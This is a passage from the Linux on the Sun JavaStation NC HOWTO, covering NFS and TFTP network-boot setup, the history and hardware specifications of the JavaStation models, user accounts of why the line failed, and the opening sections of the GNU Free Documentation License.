/path/to/nfsroot        java01(rw,no_root_squash)
###

Be sure your NFS server gets properly started up at boot-time.

7.5. Setting up for Boot with TFTP

Now we need to set up the last step on our server: the TFTP configuration. For this step, you will need the kernel you created (using the "NFS-Root" option) or the piggybacked kernel/fs boot image (using the "Embedded-Root" option), the appropriate PROLL, and some knowledge of hexadecimal numbering.

The first thing you need to do is verify that "TFTPd" is enabled in your "/etc/inetd.conf" file:

tftp	dgram	udp	wait	root	/usr/sbin/tcpd	in.tftpd

Now, you move your copy of proll for your JavaStation architecture, along your kernel or piggybacked kernel image to /tftpboot.

Now, you create of symbolic link from the hexidecimal version of your IP to your PROLL image, and a map from "HEXIP.PROL" to your real kernel image. If you are using "Embedded-Root" option, you point to your "Embedded-Root" Filesystem plus Kernel image. If you are using the "NFS-Root" option, you need to point to the normal "vmlinux.aout" image, plus have a separate map of IP->nfsroot location. For sake of completeness, you might also want a "HEXIP.SUN4M" -> "HEXIP " map, as that is the custom way of dealing with net boot situations with the Sun.

Example for java01 booting from "NFS-Root":

  $ ls -ld /tftpboot
  -rw-r--r--   1 root     root        89608 Mar 20 10:15 proll.aout.krups.11
  -rw-r--r--   1 root     root        52732 Mar 17 11:52 proll.aout.mrcoffee.11
  lrwxrwxrwx   1 root     root           19 Mar 20 10:16 proll.krups -> proll.aout.krups.11
  lrwxrwxrwx   1 root     root           22 Mar 17 11:54 proll.mrcoffee -> proll.aout.mrcoffee.11
  lrwxrwxrwx   1 root     root           10 Apr  1 13:00 C0A88001.SUN4M -> COA88001
  lrwxrwxrwx   1 root     root           10 Apr  1 13:00 C0A88001 -> proll.mrcoffee
  lrwxrwxrwx   1 root     root           12 Apr  1 13:00 C0A88001.PROL -> vmlinux.aout
  -rw-r--r--   1 root     root      1456189 May 21 12:53 vmlinux.aout
  -rw-r--r--   1 root     root      6743821 Apr  1 12:53 vmlinux_embed.aout
  lrwxrwxrwx   1 root     root           18 Apr  1 12:53 192.168.128.1 -> /path/to/nfsroot

Example for java01 booting from "Embedded-Root" boot image:

  $ ls -ld /tftpboot
  -rw-r--r--   1 root     root        89608 Mar 20 10:15 proll.aout.krups.11
  -rw-r--r--   1 root     root        52732 Mar 17 11:52 proll.aout.mrcoffee.11
  lrwxrwxrwx   1 root     root           19 Mar 20 10:16 proll.krups -> proll.aout.krups.11
  lrwxrwxrwx   1 root     root           22 Mar 17 11:54 proll.mrcoffee -> proll.aout.mrcoffee.11
  lrwxrwxrwx   1 root     root           10 Apr  1 13:00 C0A88001.SUN4M -> COA88001
  lrwxrwxrwx   1 root     root           10 Apr  1 13:00 C0A88001 -> proll.mrcoffee
  lrwxrwxrwx   1 root     root           12 Apr  1 13:00 C0A88001.PROL -> vmlinux_embed.aout
  -rw-r--r--   1 root     root      1456189 May 21 12:53 vmlinux.aout
  -rw-r--r--   1 root     root      6743821 Apr  1 12:53 vmlinux_embed.aout

Prev | Home | Next
"Out of the Box" JavaStation Boot File Solutions |  | Booting Your JavaStation


What is a JavaStation?

Linux on the Sun JavaStation NC HOWTO
Prev Next

2. What is a JavaStation?

This chapter explains to the reader what the JavaStation line is, its components, NC concepts, how to get one, and why one would choose the Linux OS for it.

2.1. What is a JavaStation NC?

The JavaStation NC is a model line of network computers built and sold by Sun Microsystems between November 1996 and March 2000. The JavaStation line was Sun's low-cost terminal option during that timeframe. It was the marketed successor to the Xterminal 1 and is succeeeded by the SunRay, although all three machines are fundamentally different.

The JavaStation hardware ran Sun's own JavaOS and either Sun's Hotjava web browser, Sun's HotJava Views task-manager software, or custom Java applications of the customer's choice.

The JavaStation was originally billed in November 1996 sneak previews as a low-cost desktop terminal, providing customers access to hot new Java applications, "legacy" X applications, and "legacy" MS Windows apps. During its lifetime, The JavaStation's marketed functionality was changed twice from "desktop terminal" to "single-app desktop device" to finally a "browser-based kiosk device".

At no time did Sun market the JavaStation as capable of running its flagship Solaris operating system the Linux OS, or any other OS than Sun's JavaOS.

2.2. Definition of an NC including the Differentiation from PC's

A network computer, or NC, was hailed as "the next big thing" in computing from late 1995 to early 1998. Conventional PC's, called "fat clients", were expected to be minimized in businesses by thin-client NC's.

Thin-clients get their OS, applications, and data files entirely through the network. They are different from dumb-terminals; they run full-scale graphical applications. Thin-clients are also different than graphical X-terminals. X-terminals typically run an X server and display the client programs of a remote server. Thin clients generally run full-scale graphical programs locally, such as a web browser, a Java application, or a "legacy-connectivity program", which enables the thin-client to display X apps or MS Windows apps which run on more powerful servers.

Advantages of NC's include:

  • "Zero-Administration". (Add a new NC and it will get everything it needs off the network, without an admin ever needing to visit it.)

  • Lower Total-Cost-of-Ownership (TCO) (No internal hard drives, floppy drives or CD players reduces form-factor, repair expenses, selling price and thus total-cost-of-ownership.)

  • Access to all web-based apps as well as "legacy" X and MS Windows apps.

  • Quick upgrades (just upgrade your server and the changes propogate throughout)

  • Longer lifespan (just upgrade the software, growing hard disk and memory requirements is not an issue)

  • Smaller OS footprint (when running brower-based apps)

Disadvantages of NC's:

  • No local access to data files (all your files stored on a remote server)

  • Requires fast, stable networks

  • NC's generally have a low maximum amount of memory. Though not as bad as with fat-clients, this does eventually become a liability for the thin-client.

2.3. Description of the JavaStation Model Line including Hardware Specs

Depending on who you talk to, the number of JavaStation models that were created is anywhere from one to six. The descriptions below will explain why.

2.3.1. JavaStation-1 [ "Mr. Coffee"] ["the brick"] [Sun Option No. JJ-xx]

This model is the most prevalent JavaStation model you are likely to find, although it wasn't the one and only JavaStation model Sun wished to sell to the public. The JavaStation-1 was the first generation JavaStation, released in November 1996 to pilot deployments as Sun's "proof of concept" of the Java NC design.

Hardware-wise, the JavaStation-1 is a Sun4M architecture machine. It is based on the SPARCStation-4 design, with some deletions and PC-like modifications. It is powered by a 110 Mhz MicroSPARC IIe CPU and has no SCSI, internal disks , floppy, CD or expansion slots. The Mr. Coffee motherboard is Sun Part No. 501-3141.

Instead of using the Sun-type keyboard and mice, JavaStation-1 uses PC-like PS2 parts instead. One of the original marketing highlights of the JavaStation was that it would use standard PC parts wherever possible to keep overall price down.

The "brick" has four PC-like SIMM slots. The SIMMs taken are industry-standard 60ns, 32-bit, 72-pin, 5V fast page SIMMs, installed in pairs. Each slot is capable of holding up to a 16MB SIMM, bringing the maximum total capacity of the unit to 64MB. The "xx" in the Sun Option# of the unit indicated how much memory the unit shipped with.

For video display, the JavaStation-1 utilizes the Sun TCX framebuffer, capable of 1024x768@70Hz in 8-bit color. The port connector however, is a standard VGA jack , enabling the user to use standard PC monitors if desired (again, low cost in mind). The on-board audio is a Crystal CS4231 chip , and the network interface is the Sun Lance 10Mbps interface. In addition, the "brick" also came with a 9-pin serial port and 1/8" audio out jack on its back.

The JavaStation-1 was fitted into the Sun "unidisk" form factor case, and has been seen in a number of color schemes. JavaStations have been fitted with casings in the white with light blue trim scheme used in Sun workstations, as well as the dark blue-grey "new desktop" scheme. Some say "JavaStation" and have the Java coffee cup logo written on it, others do not. Collectors may wish to collect all case variations.

The JavaStation-1 was used in early Sun demos, and sold to pilot sites. When first brought out, the cost to pilot sites was $699US. This was at a time when PC 's were still higher than $1000US. By the end of the pilot run, Sun was selling any remaining or used units for $299-$399US, in anticipation for its "real" JavaStation model.

See the JavaStation-1 at: http://dubinski-family.org/~jshowto/Files/photos/mr_coffee_front_view.jpg

2.3.2. JavaStation-NC [" JavaStation-10"] [" Krups"] ["the tower"] ["the percolator"] [ Sun Option No. JK-xx]

This model is the second most prevalent JavaStation model you are likely to find. When you talk to industry people about the "JavaStation", this is typically the model remembered first. Delayed numerous times, the Krups model officially went on sale to the general public Mar. 26, 1998 at the annual JavaOne conference.

Though generation two of the JavaStation line, the Krups model was the JavaStation . Sporting a completely different board design than JavaStation-1 , Krups establishes what was to be the characteristic JavaStation architecture.

Krups is powered by a 100Mhz MicroSPARC IIep chip, (note the 'p'). Its mainboard had the internal addition of a PCI bus, about a year before this standard bus made its well-publicized appearance on the Sun Ultra workstation line. The Krups motherboard is Sun Part no. 501-4267.

Krups keeps the PS2 keyboard and PS2 mouse ports from JavaStation-1 , keeping in mind the low-cost, interoperable goal of generation 1.

With the new board design, came new memory chip sockets. Instead of SIMMs, the "tower" moved to 168-pin DIMMs. DIMMs had begun to make their way from the workstation realm to PC's in the time between generations one and two of the JavaStation line, so it was fitting for Sun to switch to it in anticipation of their status low-cost commodity memory chips. The DIMMs accepted by the "tower" are 168pin, 3.3V unbuffered EDO DIMMs (not SDRAM). With two sockets capable of holding a 32MB DIMM each, the Krups has a maximum capacity of 64MB RAM. As with the JavaStation-1 , the number "xx" in the Sun option number refers to the amount of memory shipped with the unit.

For video display, the JavaStation-NC utilizes the PCI-based IGS C1682 framebuffer, capable of 1280x1024@80Hz in 24-bit "true color". This is a step up from the 8-bit display on JavaStation-1 . The port connector remained a standard VGA jack like JavaStation-1, enabling the user to use standard PC monitors if desired. The on-board audio remains a Crystal CS4231 chip like JavaStation-1. The network interface on Krups is the Sun HappyMeal 10/100 Mbps interface, another step up from the original offering of JavaStation-1.

The "tower" came with the 9-pin serial port and 1/8" audio out jack as JavaStation-1, but it also added a 1/8" audio-in jack, to do sound recording with.

Another addition in the JavaStation-NC is a flash memory SIMM. This allows one to load the current revision of the OS onboard, increasing boot-speed tremendously.

Perhaps the thing most memorable about the JavaStation-NC is its case design. The Krups comes in an aesthetically appealing casing. The mainboard is mounted vertically, and the shell entraps it, giving it the "tower " or "percolator" shape referred to. With the streamlined case, the power supply is moved outside to small transformer. The Krups unit gives off so little heat that there are no onboard cooling fans, making the Krups a dead-silent machine. Imagine the difference in noise when replacing a lab of traditional desktops with the Krups! This case design earned Krups a" 1998 Industrial Design Excellence Award" from the Industrial Designers Society of America. This award announcement is still available for read at: http://www.idsa.org/whatis/seewhat/idea98/winners/javastation.htm" . It is also archived locally via "fair use" for future readers at: http://dubinski-family.org/~jshowto/Files/texts/krups_idsa_award.txt"

The Krups had an initial base price of $599US, $100US cheaper than Mr. Coffee's rollout price. Due to it being the only model formally sold by Sun to the general public, this is how Krups is sometimes referred to as the only JavaStation, and not one model of a product line.

See the JavaStation-NC at: http://dubinski-family.org/~jshowto/Files/photos/krups_front_view.jpg

2.3.3. JavaStation-E ["Espresso"] [Sun Option No. JE-xx]

This model is extremely rare to find. It was never available for sale in quantities to either the general public or the initial JavaStation deployments, limiting the model's production quantity. To call this "Generation Three" of the JavaStation may be improper, as Espresso is nothing like the generation three JavaStation written about in early Sun marketing literature.

The Espresso was designed as an extension of the Krups. It was geared to sites that wanted a little bit more functionality and expansion capability from their JavaStations: a cross between an NC and a workstation.

Espresso is powered by the same 110Mhz MicroSPARC IIep chip as Krups . It's mainboard is similar to Krups, with the addition of PCI slots and an IDE channel for local hard disks. The IDE on Espresso was not enabled in the demo units. Those who have tried to make it work have concluded the wiring is incorrect, and it requires a hardware rework to get going.

Espresso continues with the PS2 keyboard and PS2 mouse ports from Mr. Coffee and Krups.

Espresso uses the same 168-pin, 3.3V unbuffered EDO DIMMs as Krups. The maximum amount of memory for Espresso is reported to be 96MB. As with the Mr. Coffee and Krups , the number "xx" in the Sun option number refers to the amount of memory shipped with the unit.

For video display, the Espresso uses the PCI-based IGS C2000 framebuffer, along with the same standard VGA port connector as Krups and Mr. Coffee. The on-board audio remains a Crystal CS4231 chip like Krups, and the network interface remains a Sun HappyMeal 10/100 Mbps interface like Krups as well.

Espresso came with the 9-pin serial port and 1/8" audio out and 1/8" audio in jacks of Krups, and a new addition of a parallel port, and a second 9-pin serial port. Espresso also comes with the flash memory to load your OS on and bypass the network boot cycle.

One new addition to the Espresso is a smart card slot.

The Espresso comes in a "pizza box" style case like the old Sun SparcStations, only a little taller, and not quite as wide.

The Espresso was never sold to the public. There was an internal testing period at Sun, but the units never went into mass-production.

One Espresso user mentioned he now uses his unit as both a server and router, with the addition of an IDE disk and 3C905 ethernet card, demonstrating the expandability of this unit.

See the JavaStation-E at: http://dubinski-family.org/~jshowto/Files/photos/espresso_front_view.jpg

2.3.4. JavaEngine-1 ["JE-1"]

Like the Espresso, this unit is also an extremely rare find.

This unit is supposed to be of similar board design to the Krups, but in an ATX form factor, with soldered onboard flash memory, and with a regular SVGA video chipset.

Gleb Raiko <raiko@niisi.msk.ru)> with the help of Vladimir Roganov <roganov@niisi.msk.ru> did initial the Linux kernel support on "JE-1". Pete Zaitcev <zaitcev@yahoo.com> later obtained a "JE-1" unit and restored full support in Linux kernel 2.3.x+ .

As the author of this document has never seen a "JE-1", submissions from the public are welcome.

See the JavaEngine-1 at: http://dubinski-family.org/~jshowto/Files/photos/je1_overhead_view.jpg

2.3.5. The "Dover" JavaStation model

This is another box which does not exist officially outside of Sun. Little was known of it at the first revision of this HOWTO. Since then, proud owners have stepped forward. Basically, the Dover takes the Espresso theme and moves it to stock X86 parts.

Dover comes in a case similar to the Espresso, but there's nothing where the 'JavaStation-E' tag would be. Dover can be situated in a vertical position by removable feet. All that is printed on the case is "Sun MicroSystems 1998", and typically a serial number sticker of '12345678' and 'Made in Taiwan'.

The motherboard is 'baby ATX' in configuration, but not quite totally. Near the the front of the case is a fan that points at the CPU heat sink. The CPU heat sink has another fan on top of it. The motherboard has a Socket 7 CPU socket that houses a Cyrix MediaGCm-266GP CPU. There are typical PC motherboard jumpers with silk-screened legends for setting both clock speed and multiplier. The motherboard accepts a PC100 DIMM (max. size unknown) and a powersupply with AT-type power connectors. Included among them are two floppy and regular hard drive type plug. There are two small jumpers going to the motherboard, JPSB1 and JAUTO1, possibly for power management.

Expansion in Dover is via a two-card riser, with one PCI and one shared PCI/ISA slot. As mentioned earlier, the motherboard deviates slightly from standard ATX. Along the back edge under the cards are connectors for audio out, audio in, mic, HD15F video, two USB ports, D25F parallel printer, stacked PS/2 keyboard/mouse ports, and four 9-pin serial ports, marked A through D. Unlike other JavaStation models, there is no on-board ethernet. Instead, it typically is provided by a supplied 3COM 3C905B-TX Fast Etherlink XL PCI card (with a wake-on-LAN cable going to the motherboard). There is a standard Sun MAC address label on the back of the case.

Video is via a Cyrix CX5530 chip, but with the MediaGX chip, may be just an auxilliary chip. There exist both a FDD and HDD headers on the motherboard, but nowhere to mount a FDD in the case and no provision for an HDD bracket either. There is a simple piezo buzzer mounted to the motherboard and additionally a speaker with a cable leading back near the audio out jacks. Like the Espresso, there is a smart-card reader as well, and what looks like a compact-flash socket inside.

When booting it up, you get a blue JS screen. Under the exclamation point, are two memory card icons and a <...> icon. It reads:

Boot device: /ethernet   Arguments:
MAC Address: 08:00:20:95:5b:49
Open Boot 3.0, Built February 16, 1999 17:38:37
NIC: 10b7,9055 ethernet in PCI1                                           64MB SDRAM
Non-Volatile Device Memory Module Not Installed
SmartCard Reader Found
CPU Speed:  266 MHz

Can't open boot device

ok

The Dover model, since it is based on an x86 chip, is supported by Linux. This HOWTO however focuses on the SPARC-based JavaStations, so the procedures presented here will not work with it. However, there's plenty of x86 documentation at large to work from.

See the Dover at: http://dubinski-family.org/~jshowto/Files/photos/dover_inside.jpg

2.3.6. The Generation 3 "Super JavaStation"

Sun originally envisioned three generation models of the JavaStation: Mr. Coffee, the Krups, and the "Super JavaStation". Generation Three was billed in early literature as going to be the fastest JavaStation offered, with a high-speed CPU and a JavaChip co-processor to translate Java-bytecode in hardware.

All indications are that it never got beyond the mental stage, and was more of a marketing myth than anything else.

First, consider that the cost of higher performance CPU as a factor. If Sun packaged a high-performance CPU into a JavaStation, the low-cost advantage of an NC goes away.

Next, Sun did have their PicoJava chip available to decode Java bytecode, but rumor is the performance was not as good as expected, and the complete JavaChip project was shelved in the Summer of 1998, not long after Krups was formally released.

The "Dover" project was being worked on, but the "Corona " project, which would go on to become the Sun Ray , was the final nail in the JavaStation 's coffin.

So all indications are that this model is a piece of "vaporware". It is included here though, for the sake of completeness.

2.3.7. The Pre-Mr. Coffee JavaStation Prototype

After the original publishing of this HOWTO, word of one more "JavaStation" model surfaced. John Bodo, a reseller of JavaStation equipment, chimed in that he has a motherboard of a pre-JavaStation machine. It was made by Diba Corporation, which was later bought out by Sun. The unit was released as an early embededded Java platform that developers could use to build embedded Java machines. It has a Motorola 68030 CPU, 14.4k bps modem, ethernet interface, standard VGA interface and even a TV output. The prototype's date is circa 1996.

See the JavaStation Prototype at: http://dubinski-family.org/~jshowto/Files/photos/pre_js_1.jpg

2.3.8. The Pre-Mr. Coffee JavaStation/Fox

After receiving word of the JavaStation prototype from Diba, yet more information has come regarding another pre-Mr. Coffee model. This one though, has a greater known history we can share here.

This model was the JavaStation development box used by the developers of early JavaStation software. Basically it was a SS4/110 in a smaller, custom case similar to the Mr. Coffee enclosure, with more squarish profile.

The case has an off-white color with lateral stripe in Sun gray. It sits like a Mr. Coffee would on its side. The front was a 1/2 cyclinder i design in Sun gray, has the Sun Logo, the word "Sun" under that, and the Java cup logo at the bottom.

When booting up it claims to be a "JavaStation/Fox". The motherboard does not have a normal Sun part number. The CPU is a microSPARC-II running at 110MHz. The box has an onboard external SCSI connector, dual A and B serial ports, audio in and out sound ports (Crystal Semiconductor 4231, lance ethernet network interface, onboard PCMCIA (stp4020), one SBUS expansion slot, one AFXbus expansion slot, 2 72-pin SIMM slots (double-banked SIMMs only), and no on-board video. One would then add their own S-Bus frame buffer, or the 24-bit frame buffer from a ss5. Also, an optional internal SCSI laptop hard drive could be put in.

The motherboard's part number is 501-2785. The CPU is dated 1995 while the NCR chips are dated 1994, establishing the time frame of the Fox.

The NetBSD/SPARC FAQ has a few more words on the Fox at: http://www.netbsd.org/Ports/sparc/faq.html#fox

See the JavaStation/Fox at: http://dubinski-family.org/~jshowto/Files/photos/fox_face.jpg

2.4. Reasons for Running Linux and NC Myths Dispelled

It turns out that Linux makes the JavaStations perform more than adequately on the desktop. Thanks to the dedicated work of the Linux developer community, the JavaStations offer users the low-cost, zero-admin, versatile desktop NC's they were originally billed to be, but with the added freedom granted by the Linux OS.

While low-cost PC's now eclipse the JavaStation in terms of default CPU speed and RAM size, the JavaStations running Linux are still well-suited for a number of tasks:

  • Diskless X-Terminal. (Gives the JavaStations the capability of the Sun Xterminal 1 hardware that they replaced).

  • The NC solution, Linux-style: local X + a java-capable browser can make the JavaStations perform like they did with JavaOS/ HotJava, only many times faster.

  • A beowulf node, or a dedicated RC5/ SETI@HOME client. The JavaStation running Linux makes a stable, long-lasting number cruncher.

  • A small, standalone machine. While a task more suited on today's low-cost machines, there's not much that prevents the JavaStation from performing as a full-fleged standalone UNIX machine by itself. Just remember to set your expectations appropriately when doing so; they were "low-budget" clients when they were sold, and should not be directly compared to today's workstation offerings.

  • A small router and server, particularly with the Espresso model decked out with added IDE disks and NIC.

In all of the above scenarios, there is little to no maintenance of the machine once configured properly. Such is the advantage of the NC hardware.

JavaStations run so much better with Linux than JavaOS, one would think that even Sun should have offered it as an option. Unfortunately, Sun had killed the line in favor of the Sun Ray . While the performance of the Sun Ray is good, keep in mind it is not intended as a dedicated computing device, and due to its firmware is little more than a graphics display hanging off your Sun server, which can give you some unexpected bonus features (translation: "brand-name product lock"). The performance on the JavaStations with Linux will be similar to what you can get with a Sun Ray, but if ever you want to do something different with your machines, you have the flexibility to do so with the JavaStations. There was rumor of work to try and override the default behavior of the SunRay firmware, and make it into an adjustable computing device, but until that happens, running another OS on a SunRay is just a pipe-dream.

Lastly, if you're thinking of switching to diskless Xterminals on your network, you might consider the JavaStations over stripped down PC's. The hardware is standardized, smaller, and you do not need to worry about burning boot PROMs and the like.

2.5. Why JavaStations are No Longer Produced

Sun's official stance is that the JavaStation line was terminated in favor of the new Sun Ray line. A trip to the former JavaStation section of Sun's website at http://www.sun.com/javastation verifies this formal positioning. (fair use archival copy at: http://dubinski-family.org/~jshowto/Files/texts/sun_js_site_death.txt )

As the Sun Ray is not an NC in the traditional sense (it has a MicroSparc IIep CPU, but the firmware on the device prevents anyone from grasping it), there is no explanation why the two products could not co-exist.

In talking to the users of the JavaStations in the pre-Linux era, you will find strong opinions as to why the JavaStations are no more. The common thread in almost all opinions collected is that the software provided by Sun was inadequete for a production environment. Here are collected opinions from users of the Sun-provided software, included with their permission:

I only used the Java Stations last summer while teaching 51 and 55/154. GoJoe was incredibly slow and I seem to remember having to login to several different screens and browsers just to be able to start anything.

I had to apologize to my students for the slow and inconvenient machines --- I remember making some jokes about technological progress.

--Dr. Alex Ryba, Former Professor at Marquette University (Quoted March 2000)

Well, of course the old JavaStations were practically unusable. It's not a matter of just my opinion; we used to have CU 310 full of students using the Xterms all the time. As soon as the JavaStations appeared there were NO STUDENTS in there at all. The JavaStations killed CU 310. Now that the JavaStations are (thanks to you) back up to speed, students are beginning to come back, but they've gotten out of the habit of working in our lab, and are used to working on their own in the dorms. I think this is a big loss -- they don't learn anything from talking to each other in the labs anymore.

Ghostview was slow, etc, but even vi was too slow. I am used to typing quickly, and when the cursor can't keep up with me, I can't handle it. I would also have worked at home if I didn't have to be here. And there were those annoying red squares left all over the Xterm window when you were in vi. I had to type ^L every few lines to get rid of them to see what I was typing... The pits. The whole setup made me lose a lot of respect for Sun (although I try to separate the different product lines as much as possible); I also think Sun will not get respect for hyping a product like the JavaStation so strongly, and then just dumping it. I would wonder why anyone would not just dump Sun...

BTW, the JavaStations, now that they are fast, are quite fine. I really like mine, and don't see why they aren't a viable product.

--Dr. Mark Barnard, Professor at Marquette University (Quoted March 2000) <markb@mscs.mu.edu>

I believe that it was the triple combination of Sun's JavaOS, the Hotjava software, and GraphOn's GoJoe X-connectivity software which ultimately doomed the JavaStation line.

JavaOS was always sluggish in performance for us. It was rated as having one of the slowest Java VMs by a ZDNet Online Magazane review at http://www.zdnet.com/pcmag/features/javaguide/hfgr10.htm . I speculate this was the the main cause of delaying the JavaStation's formal public release to April 1998.

(fair use archive copy of the PC mag review at: http://dubinski-family.org/~jshowto/Files/texts/pcmag_js_jvm_review.txt )

JavaOS also always lagged behind the current Java developer spec (ie running Java 1.0 when Java 1.1 was prevalent, and Java 1.1 when Java 1.2 was issued). It was tough explaining to students why the books they were buying were all using the new event-model of Java 1.1, but they could not program to it and have it run on "the Java machine ". There were also some implementation problems with some of the AWT peers which sometimes made programming across platforms difficult.

These performance and implementation problems were never addressed in subsequent build of JavaOS for the duration we ran it. I believe the last edition we had used a Java 1.1.4 runtime, when we had a Java 1.2 development kit on the server.

The HotJava browser software suffered from not being able to handle web standards HTML4, cascading style-sheets, or the ECMA javascript. All of these standards were employed in commercial sites at the time, resulting in many sites that weren't viewable by the JavaStations. The Hotjava Browser engine also had serious printing problems with certain webpages, some of which appeared on Sun's own website!

The HotJava Views task selector software also was rough. Users could have multiple apps running, but only one displayed at a time. Manipulation of multiple window panes was difficult (no minimization, no quick list to all apps, resizing not always possible). Flexibility users had grown accustomed to was tossed out in favor of this task-selector approach. On Sun's Java website there was a page boasting of a committee formed that decided this was the "right way" to make a desktop. Tell that to our users.

The GraphOn Go-Joe software was by far the most damaging piece of software to the JavaStation line. This was an X-connectivity software Sun licensed from GraphOn to give users access to the Solaris servers' X apps. The connectivity worked via a daemon installed on the Solaris server, which was connected to by a Java connectivity applet on the NC side. This small applet (only about 250K) simply threw up the latest display state and sent back to the daemon the mouse and keyboard strokes of the user. Unlike Xterminals though, the actual Xserver process was spawned and communicated with on the remote server-side by the daemon. Communication between the GraphOn client applet and the server daemon was supposedly done by a patented protocol to compress communication and speed things up. However, the performance of X under Go-Joe was terribly sluggish, with horrible refresh rates (10-seconds for some page scroll refreshes). Many sites operators I spoke to elected to not run the Go-Joe software past a trial period for this reason. We had to run it though, as our users were heavily X dependant. Alternatives like Weird/X were not available at this time, and VNC proved not up to snuff given the slow JavaOS VM.

This performance in Go-Joe alone was enough to give uninformed users the impression that the JavaStation was an underpowered machine, especially when placed side-by-side with the low-cost, end-of-lifed Sun Xterminal 1 hardware it was meant to replace. Our students left labs in droves, faculty were upset, and giving demos to outsiders was downright embarrassing. In reality the hardware was solid and stable, but was hampered by this new, untested OS and new, untested applications running on a new, untested hardware architecture. This triple-threat combination, and Sun's timeline for fixing the problems is what I feel truly doomed the JavaStation.

I remember that in 1998, Sun publicized that it had rolled out 3000 of these machines in-house, including one on Scott McNealy's desk. One who has used the JavaStations with the Sun software would have to wonder whether he ever turned it on and used it solely for a day? Had he done so, I'm sure he'd demand things be done differently. (update Oct. 2001: many ex-Sun employees who've contacted me say they made great doorstops and paper weights.)

Why Sun never ported and released its tried and tested XTerminal software to the JavaStation, or even a mini-Solaris, remained a mystery to us the whole time before we switched to Linux. It was only after we moved to Linux and the JavaStation line was formally killed by Sun when we learned from some inside Sun sources that Solaris actually was ported to Mr. Coffee, but released only internally at Sun. As a heavily invested customer site who had begged for help, this was not only disheartening, but insulting to discover.

Lastly, the customer support we received at the time was horrible. We pled our case on more than a few occassions, but requests always seemed to fall on deaf ears. Calling up SunSolve for JavaStation help always resulted in a transfer to a Java Language engineer. If the Sun employees do not know their own products, that's a problem!

>From our view, there no doubt was politics involved in this, and as customers, we were the ones to bear the results of this. We continue using Sun equipment when it comes to the proven models like the Enterprise-class servers and disk arrays, but on the latest low-cost desktop offerings, we will be forever cautious given the JavaStation history.

Linux now proves the JavaStations are adequate machines, and Sun could take this bait and go with it. If they sell the JavaStations for $250 a piece and the JavaStation running a proven OS like Linux (or Solaris) with proven apps (X), the JavaStation makes for a great network appliance. The recent NetPliance I-Opener Linux hack and subsequent controversy proves there certainly is a market for this type of low-cost device. (Oct. 2001 addition: After the publishing of the Linux hack, NetPliance made their new hardware unhackable, and subsequently ran out of business. The demand for cheap diskless stations still exist. Today's hackable units are set-top receivers and failed internet toasters like the 3Com Audrey)

--Robert Dubinski, former Computer Systems Technician at Marquette University (Quoted March 2000) <rsd@dubinski-family.org>

More comments and rebuttal statements by Sun employees are always welcome.

(update Oct 2001): A year and a half of this document's existance and not a single rebuttal statement by Sun. There were a couple initial requests to omit this section, but I refused. After all, imagine a new reader who never saw a JavaStation before: They'd read to this section, think "Wow, what a great little machine..let me get one!", and then ask themselves, "If it did all this, why don't they make them anymore?". The bad must be included with the good, and to leave this section out is a disservice to all the users who suffered through the poor software and support during the official lifetime of the JavaStation. This section, therefore, is a necessity, and although this document is licensed under the GNU Free Documentation License, the eagle-eyed reader will note that this section has been labeled as "invariant" to protect it from entities who may wish to bury it (which is precisely the reason why the Invariant clause of the GFDL exists).

2.6. Where to Purchase a JavaStation

Since Sun has canceled production of the JavaStation line, it no longer sells them through their official channels. Sun contacts have informed me that all internal JavaStation stock was cleaned out and dumped in 2000. Therefore, All JavaStations are now found out in the wild.

Your best bet to get JavaStations though is out on the open market. Educational institutions which received a handful from Sun as demo units are now trying to offload them any way they can (too bad they don't read this HOWTO). Search around the auction sites like Ebay and Yahoo Auctions, and you should be able to turn some up.

A great resource for JavaStations used to be "Bodoman's JavaStation site" at: http://www.bodoman.com/javastation/javastation.html. Sadly, as of October 2001, the domain bodoman.com seems to no longer resolve. Ebay may now be your best bet.

Mr. Coffee is the most widespread JavaStation model, and has tended to sell around $30-80US consistently for the last year or so.

Krups models more rare and sell at higher prices, probably because the stylish case still stands out today. Prices on Ebay are always over $100, but for Oct. 2001, their technology is definitely no longer worth that much. A good price would be $80-85US. Many reports have come from the UK telling of many Krups models getting dumped there.

The Dover models were a very hush-hush thing when this HOWTO was initially published, but the secret is out: if you want one, go to South Africa. Dovers seemed to have been dumped there en masse. Pricing is unknown, but should be comparable to a Cyrix-266 PC clone.

The Espresso and JavaEngine models are near impossible to find, so if you get one, consider yourself lucky. If you have a Fox, well, you're just too cool. Pricing for these models is likely a premium. (>$100US).

Prev | Home | Next
META Information |  | Background Requirements for Linux on a JavaStation


Preamble

Linux on the Sun JavaStation NC HOWTO
Prev A. GNU Free Documentation License Next

0. Preamble

The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.

This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.

We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.

Prev | Home | Next
GNU Free Documentation License | Up | Applicability and Definitions


Applicability and Definitions

Linux on the Sun JavaStation NC HOWTO
Prev A. GNU Free Documentation License Next

1. Applicability and Definitions

This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".

A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.

A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.

The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.

The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.

A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".

